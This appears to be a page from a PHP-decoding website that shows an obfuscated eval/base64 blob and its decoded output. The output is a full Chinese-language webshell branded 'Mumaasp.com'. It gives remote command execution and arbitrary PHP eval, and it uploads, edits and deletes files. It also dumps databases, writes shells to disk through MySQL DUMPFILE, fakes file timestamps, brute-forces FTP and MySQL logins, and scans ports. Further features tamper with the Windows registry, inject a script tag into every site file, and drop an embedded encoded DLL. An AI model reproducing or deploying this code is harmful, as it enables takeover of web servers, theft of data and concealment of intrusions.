Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

eval(gzuncompress(base64_decode("eNrsvWl3W8eRMPxZPsf/4eqaIwAmiI07KVDiTkrcRJBaqcNzAVwQEAFc6..

Decoded Output download



error_reporting(7);
ob_start();
$mtime = explode(' ', microtime());
$starttime = $mtime[1] + $mtime[0];
@set_time_limit(0);
//
/*=====================  =====================*/
// ,1,.
$admin['check'] = "1";
// ,
//
$hidden = "44997";
$admin['port'] = "80,139,21,3389,3306,43958,1433,5631";
//
$admin['jumpsecond'] = "2";
//Ftp
$alexa = "yes";
//alexayesno
$admin['ftpport'] = "21";
// phpspy(yes/no)
$retime = "no";
// cmd.exe,proc_open,linux.(winnt)
$cmd = "cmd.exe";
// phpspy~~~~

/*=====================  =====================*/
$onoff = (function_exists('ini_get')) ? ini_get('register_globals') : get_cfg_var('register_globals');
if ($onoff != 1) {@extract($_POST, EXTR_SKIP);@extract($_GET, EXTR_SKIP);}
$self = $_SERVER['PHP_SELF'];$dis_func = get_cfg_var("disable_functions");
/*=====================  =====================*/
if($admin['check'] == "1") {if ($_GET['action'] == "logout") {setcookie ("adminpass", "");echo "<meta http-equiv=\"refresh\" content=\"0;URL=".$self."\">";echo "<span style=\"font-size: 12px; font-family: Verdana\">......<p><a href=\"".$self."\"> &gt;&gt;&gt;</a></span>";exit;}
if ($_POST['do'] == 'login') {$thepass=trim($_POST['adminpass']);if ($admin['pass'] == $thepass) {setcookie ("adminpass",$thepass,time()+(1*24*3600));echo "<meta http-equiv=\"refresh\" content=\"0;URL=".$self."\">";exit;}}if (isset($_COOKIE['adminpass'])) {if ($_COOKIE['adminpass'] != $admin['pass']) {loginpage();}} else {loginpage();}}
$serveru = $_SERVER ['HTTP_HOST'].$_SERVER['PHP_SELF'];
$serverp = $admin['pass'];
$copyurl = "";
$copyurll = "";
$str=$copyurl.$serveru."&p=".$serverp.$copyurll."";
$str=str_replace("&lt;","<",$str);
$str=str_replace("&gt;",">",$str);
$str=str_replace("&#39;","'",$str);

/*=====================  =====================*/
//  magic_quotes_gpc 
if (get_magic_quotes_gpc()) {$_GET = stripslashes_array($_GET);$_POST = stripslashes_array($_POST);}
//mix.dll
$mixdll = "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";

function shelL($command){
global $windows,$disablefunctions;
$exec = '';$output= '';
$dep[]=array('pipe','r');$dep[]=array('pipe','w');
if(is_callable('passthru') && !strstr($disablefunctions,'passthru')){ @ob_start();passthru($command);$exec=@ob_get_contents();@ob_clean();@ob_end_clean();}
elseif(is_callable('system') && !strstr($disablefunctions,'system')){$tmp = @ob_get_contents(); @ob_clean();system($command) ; $output = @ob_get_contents(); @ob_clean(); $exec= $tmp; }
elseif(is_callable('exec') && !strstr($disablefunctions,'exec')) {exec($command,$output);$output = join("\n",$output);$exec= $output;}
elseif(is_callable('shell_exec') && !strstr($disablefunctions,'shell_exec')){$exec= shell_exec($command);}
elseif(is_resource($output=popen($command,"r"))) {while(!feof($output)){$exec= fgets($output);}pclose($output);}
elseif(is_resource($res=proc_open($command,$dep,$pipes))){while(!feof($pipes[1])){$line = fgets($pipes[1]); $output.=$line;}$exec= $output;proc_close($res);}
elseif ($windows && is_object($ws = new COM("WScript.Shell"))){$dir=(isset($_SERVER["TEMP"]))?$_SERVER["TEMP"]:ini_get('upload_tmp_dir') ;$name = $_SERVER["TEMP"].namE();$ws->Run("cmd.exe /C $command >$name", 0, true);$exec = file_get_contents($name);unlink($name);}
return $exec;
}
// PHPINFO
if ($_GET['action'] == "phpinfo") {echo $phpinfo=(!eregi("phpinfo",$dis_func)) ? phpinfo() : "phpinfo() ,&lt;PHP&gt;";exit;
}if($_GET['action'] == "nowuser") {$user = get_current_user();
if(!$user) $user = "";
echo"$user";
exit;
}
if(isset($_POST['phpcode'])){eval("?".">$_POST[phpcode]<?");exit;
}
if($action=="mysqldown"){
	$link=@mysql_connect($host,$user,$password);
	if (!$link) {
		$downtmp = ': ' . mysql_error();
	}else{
	$query="select load_file('".$filename."');";
	$result = @mysql_query($query, $link);
	if(!$result){
		$downtmp = "file<br>".mysql_error();
			}else{
	while ($row = mysql_fetch_array($result)) {
		$filename = basename($filename);
		if($rardown=="yes"){
			$zip = NEW Zip;
			$zipfiles[]=Array("$filename",$row[0]);
			$zip->Add($zipfiles,1);
			$code = $zip->get_file();
			$filename = "".$filename.".rar";
		}else{
			$code = $row[0];
		}
		header("Content-type: application/octet-stream");
		header("Accept-Ranges: bytes");
		header("Accept-Length: ".strlen($code));
		header("Content-Disposition: attachment;filename=$filename");
		echo($code);
		exit;
	}
	}
	}
}
// 
if (isset($_POST['url'])) {$proxycontents = @file_get_contents($_POST['url']);echo ($proxycontents) ? $proxycontents : "<body bgcolor=\"#F5F5F5\" style=\"font-size: 12px;\"><center><br><p><b> URL </b></p></center></body>";exit;
}
// 
if (!empty($downfile)) {if (!@file_exists($downfile)) {echo "<script>alert('!')</script>";} else {$filename = basename($downfile);$filename_info = explode('.', $filename);$fileext = $filename_info[count($filename_info)-1];header('Content-type: application/x-'.$fileext);header('Content-Disposition: attachment; filename='.$filename.'');header('Content-Description: PHP Generated Data');header('Content-Length: '.filesize($downfile));@readfile($downfile);exit;}
}
// 
if ($_POST['backuptype'] == 'download') {
	@mysql_connect($servername,$dbusername,$dbpassword) or die("");
	@mysql_select_db($dbname) or die("");	
	$table = array_flip($_POST['table']);
	$result = mysql_query("SHOW tables");
	echo ($result) ? NULL : ": ".mysql_error();

	$filename = basename($_SERVER['HTTP_HOST']."_MySQL.sql");
	header('Content-type: application/unknown');
	header('Content-Disposition: attachment; filename='.$filename);
	$mysqldata = '';
	while ($currow = mysql_fetch_array($result)) {
		if (isset($table[$currow[0]])) {
			$mysqldata.= sqldumptable($currow[0]);
			$mysqldata.= $mysqldata."\r\n";
		}
	}
	mysql_close();
	exit;
}

// 
$pathname=str_replace('\\','/',dirname(__FILE__)); 
$dirpath=str_replace('\\','/',$_SERVER["DOCUMENT_ROOT"]);

// 
if (!isset($dir) or empty($dir)) {
	$dir = ".";
	$nowpath = getPath($pathname, $dir);
} else {
	$dir=$_GET['dir'];
	$nowpath = getPath($pathname, $dir);
}

// 
$dir_writeable = (dir_writeable($nowpath)) ? "" : "";
$phpinfo=(!eregi("phpinfo",$dis_func)) ? " | <a href=\"?action=phpinfo\" target=\"_blank\">PHPINFO()</a>" : "";
$reg = (substr(PHP_OS, 0, 3) == 'WIN') ? " | <a href=\"?action=reg\"></a>" : "";

$tb = new FORMS;

?>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
 <style type="text/css">
body,td{font-size: 12px;background-color:#000000;color:#eee;
margin: 1px;margin-left:1px;
SCROLLBAR-FACE-COLOR: #232323; SCROLLBAR-HIGHLIGHT-COLOR: #232323; 
SCROLLBAR-SHADOW-COLOR: #383838; SCROLLBAR-DARKSHADOW-COLOR: #383838; 
SCROLLBAR-3DLIGHT-COLOR: #232323; SCROLLBAR-ARROW-COLOR: #FFFFFF;
SCROLLBAR-TRACK-COLOR: #383838;}
a{color:#ddd;text-decoration: none;}a:hover{color:red;background:#000}
.smlfont {
	font-family: "Verdana", "Tahoma", "";
	font-size: "11px";
}
.INPUT {
	FONT-SIZE: "12px";
	COLOR: "#000000";
	BACKGROUND-COLOR: "#FFFFFF";
	height: "18px";
	border: "1px solid #666666";
	padding-left: "2px";
}
.redfont {COLOR: "#CA0000";}

.top {BACKGROUND-COLOR: "#CCCCCC"}
.firstalt {BACKGROUND-COLOR: "#EFEFEF"}
.secondalt {BACKGROUND-COLOR: "#F5F5F5"}
</style>
<SCRIPT language=JavaScript>
function CheckAll(form) {
	for (var i=0;i<form.elements.length;i++) {
		var e = form.elements[i];
		if (e.name != 'chkall')
		e.checked = form.chkall.checked; }}
function really(d,f,m,t) {if (confirm(m)) {if (t == 1) {window.location.href='?dir='+d+'&deldir='+f;} else {window.location.href='?dir='+d+'&delfile='+f;}}}
</SCRIPT>
</head>
<title><?php echo"$myneme"?></title>
<body style="table-layout:fixed; word-break:break-all onmouseover="window.status=':Mumaasp.com  ,,';return true" style="FILTER: progid:DXImageTransform.Microsoft.Gradient(gradientType=0,startColorStr=#626262,endColorStr=#1C1C1C)">
<center>
<?php
//$_SERVER["DOCUMENT_ROOT"]
$tb->tableheader();
$tb->tdbody('<table width="98%" border="0" cellpadding="0" cellspacing="0"><tr><td><b>'.$_SERVER['HTTP_HOST'].'</b></td><td align="center">Mumaasp.com     '.date("Ymd h:i:s",time()).'</td><td align="right"><b>'.gethostbyname($_SERVER['SERVER_NAME']).'</b></td></tr></table>','center','top');
$tb->tdbody('<a href="?dir='.$dirpath.'"></a> | <a href="?action=dir">Shell</a> | <a href="?action=phpenv"></a> | <a href="?action=proxy"></a>'.$reg.$phpinfo.' | <a href="?action=shell">WebShell</a> | <a href="?action=crack"></a> | <a href="?action=mix">mix.dll</a> | <a href="?action=logout"></a>');
$tb->tdbody('<a href="?action=plgm"></a> | <a href="?action=downloads">Http</a> | <a href="?action=search&dir='.$dir.'"></a> | <a href="?action=eval">php</a> | <a href="?action=sql">SQL</a> | <a href="?action=mysqlfun">FuncShell</a> | <a href="?action=sqlbak">MySQL</a> | <a href="?action=SUExp">Serv-U</a>');
$tb->tablefooter();
?>
<hr width="775" noshade>
<table width="775" border="0" cellpadding="0">
<?
$tb->headerform(array('method'=>'GET','content'=>'<p>: '.$pathname.'<br>('.$dir_writeable.','.substr(base_convert(@fileperms($nowpath),10,8),-4).'): '.$nowpath.'<br>: '.$tb->makeinput('dir',''.$nowpath.'','','text','80').' '.$tb->makeinput('','','','submit').' '));

$tb->headerform(array('action'=>'?dir='.urlencode($dir),'enctype'=>'multipart/form-data','content'=>': '.$tb->makeinput('uploadfile','','','file').' '.$tb->makeinput('doupfile','','','submit').$tb->makeinput('uploaddir',$dir,'','hidden')));

$tb->headerform(array('action'=>'?action=editfile&dir='.urlencode($dir),'content'=>': '.$tb->makeinput('editfile').' '.$tb->makeinput('createfile','','','submit')));

$tb->headerform(array('content'=>': '.$tb->makeinput('newdirectory').' '.$tb->makeinput('createdirectory','','','submit')));
?>
</table>
<hr width="775" noshade>
<?php
/*=====================   =====================*/
echo "<p><b>\n";
// 
if (!empty($delfile)) {
	if (file_exists($delfile)) {
		echo (@unlink($delfile)) ? $delfile." !" : "!";
	} else {
		echo basename($delfile)." !";
	}
}

// 
elseif (!empty($deldir)) {
	$deldirs="$dir/$deldir";
	if (!file_exists("$deldirs")) {
		echo "$deldir !";
	} else {
		echo (deltree($deldirs)) ? "!" : "!";
	}
}

// 
elseif (($createdirectory) AND !empty($_POST['newdirectory'])) {
	if (!empty($newdirectory)) {
		$mkdirs="$dir/$newdirectory";
		if (file_exists("$mkdirs")) {
			echo "!";
		} else {
			echo (@mkdir("$mkdirs",0777)) ? "!" : "!";
			@chmod("$mkdirs",0777);
		}
	}
}

// 
elseif ($doupfile) {
	echo (@copy($_FILES['uploadfile']['tmp_name'],"".$uploaddir."/".$_FILES['uploadfile']['name']."")) ? "!" : "!";
}
elseif($action=="mysqlup"){
	$filename = $_FILES['upfile']['tmp_name'];
	if(!$filename) {
		echo"";
	}else{
	$shell = file_get_contents($filename);
	$mysql = bin2hex($shell);
	if(!$upname) $upname = $_FILES['upfile']['name'];
	$shell = "select 0x".$mysql." from ".$database." into DUMPFILE '".$uppath."/".$upname."';";
	$link=@mysql_connect($host,$user,$password);
	if(!$link){
		echo "".mysql_error();
	}else{
		$result = mysql_query($shell, $link);
		if($result){
			echo".".$host.",".$uppath."/".$upname."..";
		}else{
				echo" :".mysql_error();
			}
		}
	}

}
elseif($action=="mysqldown"){
	if(!empty($downtmp)) echo $downtmp;
}
// 
elseif ($_POST['do'] == 'doeditfile') {
	if (!empty($_POST['editfilename'])) {
    if(!file_exists($editfilename)) unset($retime);
	if($time==$now) $time = @filemtime($editfilename);
        $time2 = @date("Y-m-d H:i:s",$time);
		$filename="$editfilename";
		@$fp=fopen("$filename","w");
		if($_POST['change']=="yes"){
		$filecontent = "?".">".$_POST['filecontent']."<?";
		$filecontent = gzdeflate($filecontent);
        $filecontent = base64_encode($filecontent);
        $filecontent = "<?php\n/*\n!\n*/\neval(gzinflate(base64_decode('$filecontent')));\n"."?>";
		}else{
		$filecontent = $_POST['filecontent'];
		}
		echo $msg=@fwrite($fp,$filecontent) ? "!" : "!";
		@fclose($fp);
		if($retime=="yes"){
        echo"&nbsp;:";
        echo $msg=@touch($filename,$time) ? "".$time2."!" : "!";
		}
	} else {
		echo "!";
	}
}
//
elseif ($_POST['do'] == 'downloads') {
	$contents = @file_get_contents($_POST['durl']);
	if(!$contents){
	echo"";
	}
	elseif(file_exists($path)){
	echo"".$path."";
	}else{
    $fp = @fopen($path,"w");
	echo $msg=@fwrite($fp,$contents) ? "!" : "!";
	@fclose($fp);
	}
}
elseif($_POST['action']=="mix"){
	if(!file_exists($_POST['mixto'])){
	$tmp = base64_decode($mixdll);
	$tmp = gzinflate($tmp);
	$fp = fopen($_POST['mixto'],"w");
	echo $msg=@fwrite($fp,$tmp) ? "!" : "!";
	fclose($fp);
}else{
	echo"".$_POST['mixto']."~";
}
}
// 
elseif ($_POST['do'] == 'editfileperm') {
	if (!empty($_POST['fileperm'])) {
		$fileperm=base_convert($_POST['fileperm'],8,10);
		echo (@chmod($dir."/".$file,$fileperm)) ? "!" : "!";
		echo "  ".$file." : ".substr(base_convert(@fileperms($dir."/".$file),10,8),-4);
	} else {
		echo "!";
	}
}

// 
elseif ($_POST['do'] == 'rename') {
	if (!empty($_POST['newname'])) {
		$newname=$_POST['dir']."/".$_POST['newname'];
		if (@file_exists($newname)) {
			echo "".$_POST['newname']." ,!";
		} else {
			echo (@rename($_POST['oldname'],$newname)) ? basename($_POST['oldname'])."  ".$_POST['newname']." !" : "!";
		}
	} else {
		echo "!";
	}
}
elseif ($_POST['do'] == 'search') {
if(!empty($oldkey)){
echo"<span class=\"redfont\">:[".$oldkey."],:";
	if($type2 == "getpath"){
	echo".";
}
echo"</span><br><hr width=\"775\" noshade>";
find($path);
}else{
echo"???";
}
}
elseif ($_GET['action']=='plgmok') {
   dirtree($_POST['dir'],$_POST['mm']);
   }
elseif ($_GET['action'] == "plgm") {
	$action = '?action=plgmok';
	$gm = "<script src=http://127.0.0.1></script>";
	$tb->tableheader();
	$tb->formheader($action,'');
	$tb->tdbody('php','center');
	$tb->tdbody(': '.$tb->makeinput('dir',''.$_SERVER["DOCUMENT_ROOT"].'','','text','60').'<br>:'.$tb->maketextarea('mm',$gm,'50','5').''.$tb->makehidden('do','').'<br>'.$tb->makeinput('submit','','','submit'),'center','1','35');
	echo "</form>";
	$tb->tablefooter();
}//end plgm
// 
elseif ($_POST['do'] == 'domodtime') {
	if (!@file_exists($_POST['curfile'])) {
		echo "!";
	} else {
		if (!@file_exists($_POST['tarfile'])) {
			echo "!";
		} else {
			$time=@filemtime($_POST['tarfile']);
			echo (@touch($_POST['curfile'],$time,$time)) ? basename($_POST['curfile'])."  ".date("Y-m-d H:i:s",$time)." !" : "!";
		}
	}
}

// 
elseif ($_POST['do'] == 'modmytime') {
	if (!@file_exists($_POST['curfile'])) {
		echo "!";
	} else {
		$year=$_POST['year'];
		$month=$_POST['month'];
		$data=$_POST['data'];		
		$hour=$_POST['hour'];
		$minute=$_POST['minute'];
		$second=$_POST['second'];
		if (!empty($year) AND !empty($month) AND !empty($data) AND !empty($hour) AND !empty($minute) AND !empty($second)) {
			$time=strtotime("$data $month $year $hour:$minute:$second");
			echo (@touch($_POST['curfile'],$time,$time)) ? basename($_POST['curfile'])."  ".date("Y-m-d H:i:s",$time)." !" : "!";
		}
	}
}
elseif($do =='port'){
		$tmp = explode(",",$port);
		$count = count($tmp);
	for($i=$first;$i<$count;$i++){
			$fp = @fsockopen($host, $tmp[$i], $errno, $errstr, 1);
			if($fp) echo"".$host."".$tmp[$i]."<br>";
	}
}
/*

*/
elseif ($do == 'crack') {//
	if(@file_exists($passfile)){
		$tmp = file($passfile);
		$count = count($tmp);
		if(empty($onetime)){
			$onetime = $count;
			$turn="1";
		}else{
			$nowturn = $turn+1;
			$now = $turn*$onetime;
			$tt = intval(($count/$onetime)+1);
		}
		if($turn>$tt or $onetime>$count){
			echo"~";
			}else{
				$first = $onetime*($turn-1);
				for($i=$first;$i<$now;$i++){
					if($ctype=="mysql") $sa = @mysql_connect($host,$user,chop($tmp[$i]));
					else $sa = @ftp_login(ftp_connect($host,$admin[ftpport]),$user,chop($tmp[$i]));
				if($sa) 
					{
					$t = "".$user."".$tmp[$i]."";
					}
			}
			if(!$t){
				echo "<meta http-equiv=\"refresh\" content=\"".$admin[jumpsecond].";URL=".$self."?do=crack&passfile=".$passfile."&host=".$host."&user=".$user."&turn=".$nowturn."&onetime=".$onetime."&ctype=".$ctype."\"><span style=\"font-size: 12px; font-family: Verdana\"><a href=\"".$self."?do=crack&passfile=".$passfile."&host=".$host."&user=".$user."&turn=".$nowturn."&onetime=".$onetime."&type=".$ctype."\">".$count."".$first."".$now."".$admin[jumpsecond]."".$onetime.". &gt;&gt;&gt;</a><br>".$type."".$tt."".$turn."</span>";
	}
	else {
		echo"$t";
		}
			}
}else{
			echo"";
			}
}
elseif($do =='port'){
	if(!eregi("-",$port)){
		$tmp = explode(",",$port);
		$count = count($tmp);
		$first = "1";
	}else{
		$tmp = explode("-",$port);
		$first = $tmp[0];
		$count = $tmp[1];

	}
	for($i=$first;$i<$count;$i++){
			if(!eregi("-",$port)){
			$fp = @fsockopen($host, $tmp[$i], $errno, $errstr, 1);
			if($fp) echo"".$host."".$tmp[$i]."<br>";
			}else{
				$fp = @fsockopen($host, $i, $errno, $errstr, 1);
				if($fp) echo"".$host."".$i."<br>";
			}
		}

	}
// MYSQL
elseif ($connect) {
	if (@mysql_connect($servername,$dbusername,$dbpassword) AND @mysql_select_db($dbname)) {
		echo "!";
		mysql_close();
	} else {
		echo mysql_error();
	}
}

// SQL
elseif ($_POST['do'] == 'query') {
	@mysql_connect($servername,$dbusername,$dbpassword) or die("");
	@mysql_select_db($dbname) or die("");
	$result = @mysql_query($_POST['sql_query']);
	echo ($result) ? "SQL!" : ": ".mysql_error();
	mysql_close();
}

// 
elseif ($_POST['do'] == 'backupmysql') {
	if (empty($_POST['table']) OR empty($_POST['backuptype'])) {
		echo "!";
	} else {
		if ($_POST['backuptype'] == 'server') {
			@mysql_connect($servername,$dbusername,$dbpassword) or die("");
			@mysql_select_db($dbname) or die("");	
			$table = array_flip($_POST['table']);
			$filehandle = @fopen($path,"w");
			if ($filehandle) {
				$result = mysql_query("SHOW tables");
				echo ($result) ? NULL : ": ".mysql_error();
				while ($currow = mysql_fetch_array($result)) {
					if (isset($table[$currow[0]])) {
						sqldumptable($currow[0], $filehandle);
						fwrite($filehandle,"\n\n\n");
					}
				}
				fclose($filehandle);
				echo " <a href=\"".$path."\" target=\"_blank\">".$path."</a>";
				mysql_close();
			} else {
				echo ",!";
			}
		}
	}
}
elseif($downrar) {
	if (!empty($dl)) {
		if(eregi("unzipto:",$localfile)){
		$path = "".$dir."/".str_replace("unzipto:","",$localfile)."";
		$zip = new Zip;
		$zipfile=$dir."/".$dl[0];
		$array=$zip->get_list($zipfile);
		$count=count($array);
		$f=0;
		$d=0;
		for($i=0;$i<$count;$i++) {
			if($array[$i][folder]==0) {
				if($zip->Extract($zipfile,$path,$i)>0) $f++;
			}
			else $d++;
		}
		if($i==$f+$d) echo "$dl[0] ".$path."<br>($f  $d )";
		elseif($f==0) echo "$dl[0] ".$path."";
		else echo "$dl[0] <br>( $f  $d )";
		}else{
	$zipfile="";
	$zip = new Zip;
	for($k=0;isset($dl[$k]);$k++)
		{
			$zipfile=$dir."/".$dl[$k];
			if(is_dir($zipfile))
			{
				unset($zipfilearray);
				addziparray($dl[$k]);
				for($i=0;$zipfilearray[$i];$i++)
				{
					$filename=$zipfilearray[$i];
					$filesize=@filesize($dir."/".$zipfilearray[$i]);
					$fp=@fopen($dir."/".$filename,rb);
					$zipfiles[]=Array($filename,@fread($fp,$filesize));
					@fclose($fp); 
				}
			}
			else
			{
				$filename=$dl[$k];
				$filesize=@filesize($zipfile);
				$fp=@fopen($zipfile,rb);
				$zipfiles[]=Array($filename,@fread($fp,$filesize));
				@fclose($fp);
			}
		}
		$zip->Add($zipfiles,1);
		$code = $zip->get_file();
		$ck = "_QQ44997_".date("Y-m-d",time())."";
		if(empty($localfile)){
		header("Content-type: application/octet-stream");
		header("Accept-Ranges: bytes");
		header("Accept-Length: ".strlen($code));
		header("Content-Disposition: attachment;filename=".$_SERVER['HTTP_HOST']."".$ck."_Files.zip");
		echo $code;
		exit;
		}else{
		 $fp = @fopen("".$dir."/".$localfile."","w");
		 echo $msg=@fwrite($fp,$code) ? "".$dir."/".$localfile."!" : "".$dir."!";
		 @fclose($fp);
		}
		}
	} else {
		echo "!";
	}
}
// Shell.Application 
elseif(($_POST['do'] == 'programrun') AND !empty($_POST['program'])) {
	$shell= &new COM('Sh'.'el'.'l.Appl'.'ica'.'tion');
	$a = $shell->ShellExecute($_POST['program'],$_POST['prog']);
	echo ($a=='0') ? "!" : "!";
}
// PHP
elseif(($_POST['do'] == 'viewphpvar') AND !empty($_POST['phpvarname'])) {
	echo " ".$_POST['phpvarname']." : ".getphpcfg($_POST['phpvarname'])."";
}
// 
elseif(($regread) AND !empty($_POST['readregname'])) {
	$shell= &new COM('WSc'.'rip'.'t.Sh'.'ell');
	var_dump(@$shell->RegRead($_POST['readregname']));
}

// 
elseif(($regwrite) AND !empty($_POST['writeregname']) AND !empty($_POST['regtype']) AND !empty($_POST['regval'])) {
	$shell= &new COM('W'.'Scr'.'ipt.S'.'hell');
	$a = @$shell->RegWrite($_POST['writeregname'], $_POST['regval'], $_POST['regtype']);
	echo ($a=='0') ? "!" : " ".$_POST['regname'].", ".$_POST['regval'].", ".$_POST['regtype']." !";
}
// 
elseif(($regdelete) AND !empty($_POST['delregname'])) {
	$shell= &new COM('WS'.'cri'.'pt.S'.'he'.'ll');
	$a = @$shell->RegDelete($_POST['delregname']);
	echo ($a=='0') ? "!" : " ".$_POST['delregname']." !";
}
else {
	echo "$notice";
	echo "<a href=\"?dir=C:/Program%20Files/\">Program</a> | <a href=\"?dir=C:/Documents%20and%20Settings/All%20Users/Application%20Data/Symantec/pcAnywhere\">pcAnywhere</a> | <a href=\"?dir=C:/Documents%20and%20Settings/All%20Users//\"></a> | <a href=\"?dir=C:/Documents%20and%20Settings/All%20Users\">AllUsers</a> | <a href=\"?dir=C:/Program Files/RhinoSoft.com/Serv-U\">Serv-U</a> | ";
	for ($i=66;$i<=90;$i++){$drive= chr($i).':';
if (is_dir($drive."/")){$vol=shelL("vol $drive");if(empty($vol))$vol=$drive;echo " <a title=\"$drive/\" href=\"?dir=$drive/\">$drive\\</a>";}
}

}
echo "</b></p>\n";
/*=====================   =====================*/
if (!isset($_GET['action']) OR empty($_GET['action']) OR ($_GET['action'] == "dir")) {
	$tb->tableheader();
?>
  <tr bgcolor="#cccccc">
    <td align="center" nowrap width="27%"><b></b></td>
	<td align="center" nowrap width="16%"><b></b></td>
    <td align="center" nowrap width="16%"><b></b></td>
    <td align="center" nowrap width="11%"><b></b></td>
    <td align="center" nowrap width="6%"><b></b></td>
    <td align="center" nowrap width="24%"><b></b></td>
  </tr>
  <FORM action="" method="POST">
<?php
// 
$dirs=@opendir($dir);
$dir_i = '0';
while ($file=@readdir($dirs)) {
	$filepath="$dir/$file";
	$a=@is_dir($filepath);
	if($a=="1"){
		if($file!=".." && $file!=".")	{
			$ctime=@date("Y-m-d H:i:s",@filectime($filepath));
			$mtime=@date("Y-m-d H:i:s",@filemtime($filepath));
			$dirperm=substr(base_convert(fileperms($filepath),10,8),-4);
			echo "<tr class=".getrowbg().">\n";
			echo "  <td style=\"padding-left: 5px;\"><INPUT type=checkbox value=$file name=dl[]> [<a href=\"?dir=".urlencode($dir)."/".urlencode($file)."\"><font color=\"#006699\">$file</font></a>]</td>\n";
			echo "  <td align=\"center\" nowrap class=\"smlfont\">$ctime</td>\n";
			echo "  <td align=\"center\" nowrap class=\"smlfont\">$mtime</td>\n";
			echo "  <td align=\"center\" nowrap class=\"smlfont\"><a href=\"?action=search&dir=".$filepath."\">Search</a></td>\n";
			echo "  <td align=\"center\" nowrap class=\"smlfont\"><a href=\"?action=fileperm&dir=".urlencode($dir)."&file=".urlencode($file)."\">$dirperm</a></td>\n";
			echo "  <td align=\"center\" nowrap>| <a href=\"#\" onclick=\"really('".urlencode($dir)."','".urlencode($file)."',' $file ? \\n\\n,!','1')\"></a> | <a href=\"?action=rename&dir=".urlencode($dir)."&fname=".urlencode($file)."\"></a> |</td>\n";
			echo "</tr>\n";
			$dir_i++;
		} else {
			if($file=="..") {
				echo "<tr class=".getrowbg().">\n";
				echo "  <td nowrap colspan=\"6\" style=\"padding-left: 5px;\"><a href=\"?dir=".urlencode($dir)."/".urlencode($file)."\"></a></td>\n";
				echo "</tr>\n";
			}
		}
	}
}// while
@closedir($dirs); 
?>
<tr bgcolor="#cccccc">
  <td colspan="6" height="5"></td>
</tr>
<?
// 
$dirs=@opendir($dir);
$file_i = '0';
while ($file=@readdir($dirs)) {
	$filepath="$dir/$file";
	$a=@is_dir($filepath);
	if($a=="0"){		
		$size=@filesize($filepath);
		$size=$size/1024 ;
		$size= @number_format($size, 3);
		if (@filectime($filepath) == @filemtime($filepath)) {
			$ctime=@date("Y-m-d H:i:s",@filectime($filepath));
			$mtime=@date("Y-m-d H:i:s",@filemtime($filepath));
		} else {
			$ctime="<span class=\"redfont\">".@date("Y-m-d H:i:s",@filectime($filepath))."</span>";
			$mtime="<span class=\"redfont\">".@date("Y-m-d H:i:s",@filemtime($filepath))."</span>";
		}
